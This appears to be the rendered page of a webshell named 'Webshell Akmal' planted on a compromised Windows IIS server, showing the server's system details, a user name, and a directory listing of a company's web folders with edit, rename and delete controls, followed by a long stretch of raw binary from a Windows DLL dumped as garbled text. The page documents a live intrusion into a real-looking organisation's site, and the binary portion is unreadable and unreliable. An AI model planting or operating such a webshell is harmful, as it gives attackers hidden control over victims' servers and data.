Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
MZ� �� � @ � � �!�L�!This program cannot be run in DOS mode. $ �Ny�/��/��/��W���/�T_��/�T_��/��/�P/�T_��/�T_��/�T_��/�T_��/�T_蹱/�T_��/�Rich�/� PE L vL� � ! ^ B �Y p � @A �k ( � � � � � � � T @ � � �f .text ] ^ `.data ` p b @ �.idata � � d @ @.didat � � ~ @ �.rsrc � � � @ @.reloc � � � @ B hp�pp � 0 � P � P h � T t � Tp� � 3 u � �W p � 0 P p �0 01 `5 9 �? �@ PG �P �W `Y �\ �\ � Т � � � �� �� � �� �� �� 0� p� � �� �� � � � ` P @" `' P, �3 P8 ? 0? �W �Y �\ �_ a ̀ �� MSSIGN32.dll RPCRT4.dll ncrypt.dll OLEAUT32.dll CRYPTSP.dll ole32.dll SHELL32.dll WINTRUST.dll CryptUIWizBuildCTL CryptUIWizDigitalSign CryptUIWizExport CryptUIWizFreeDigitalSignContext CryptUIWizImport CryptUIWizImportInternal CreateActCtxW ActivateActCtx DeactivateActCtx FindActCtxSectionStringW QueryActCtxW GetModuleHandleExW C o m c t l 3 2 . d l l K e r n e l 3 2 . d l l Kernel32.dll PropertySheetW Comctl32.dll c e r m y t r u s t c a r o o t 2.5.29.37 c t l . s t l 1.3.6.1.4.1.311.10.3.1 msftedit.dll N�z;��� �O������{;��� �O���IsolationAware function called after IsolationAwareCleanup p v k h t t p : / / 1.3.6.1.5.5.7.3.3 2.5.29.4 1.3.6.1.4.1.311.2.1.22 1.3.6.1.4.1.311.2.1.21 T r i p l e D E S - S H A 1 A E S 2 5 6 - S H A 2 5 6 S I D = O R S I D = CFSTR_DSOP_DS_SELECTION_LIST W i n N T : / / c r l s t l p f x p 7 b s s t . c e r . p f x . p 7 b . s s t . c r l \ E x p o r t P o l i c y ( � � � ( � � ( � � ( � � ( � � ( ` � � � 2.5.29.19 1.3.6.1.4.1.311.10.3.4 % w s \ c r y p t e x t . d l l , % w s % w s % w s % w s % u "